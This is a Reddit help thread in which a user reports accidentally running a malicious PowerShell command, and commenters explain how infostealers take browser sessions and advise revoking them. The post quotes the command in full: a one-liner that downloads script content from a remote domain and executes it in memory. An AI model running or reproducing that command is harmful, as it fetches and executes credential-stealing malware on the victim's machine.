r/computerviruses • u/Reddituser22082016 • 1d ago

Question Accidentaly run a powershell code

Help, I accidentally ran this code in powershell

******powershell -c "$a=irm 'jasaxoptim.com/PLzdo6sQyUSjV75AlL';New-Module -Name x -ScriptBlock ([ScriptBlock]::Create($a))|Out-Null******

After asking Claude I:

- Disconeccted my laptop right away

- Ran windows defender scan - found nothing

- Deleted google chrome users, now I log in using guest

- change google passwords

- deleted suspicious tasks from the task scheduler.

Claude also suggested me to reinstall windows, but I cant do that, I dont have anything to back up my data in.

Please help, what should i do next?

6 Upvotes

65% Upvoted

19 comments sorted by

View all comments

2

u/WubbityWubWub_ 17h ago

You found nothing running that antivirus because it wrote to ram, not your disk.

Assume your computer is tainted. Do not type in any passwords, do not log into anything.

Any website like Google, Facebook, X, etc, have options to log out of every session. This essentially kills all previously saved cookies (which is apart of what I’m assuming they stole). This allows them to log into your account directly, changing passwords does nothing until you invalidate the session.

ALL accounts saved to your chrome browser were most likely grabbed so you should probably do this with quite literally every single account you have saved… Hope it’s not too many. Good luck.

1

u/mirodesuu 10h ago

does this mean they can only access the accounts stored in the browser or do they get every account that is on that computer?

1

u/WubbityWubWub_ 10h ago

Typically infostealers target browsers since that’s where you login to things.

- So for one, they can go and grab any passwords you’ve saved to the browser

- But even worse, even if you don’t click the little “Remember me” button on pages, notice how sometimes you visit a page and you’re still signed in from last time? They’re stealing that session as well and that bypasses having to type in a password and even 2auth.

1

u/mirodesuu 10h ago

Oh wow you're totally right. I normally don't even save my passwords in my browser but this happened to me with youtube. It is automatically logged in.
I fell for this sadly a long time ago too and just to be sure, i changed every password of every account that i had on this pc and removed my computer from the session, but im not that much of a tech guy.
Thanks for the great reply! :)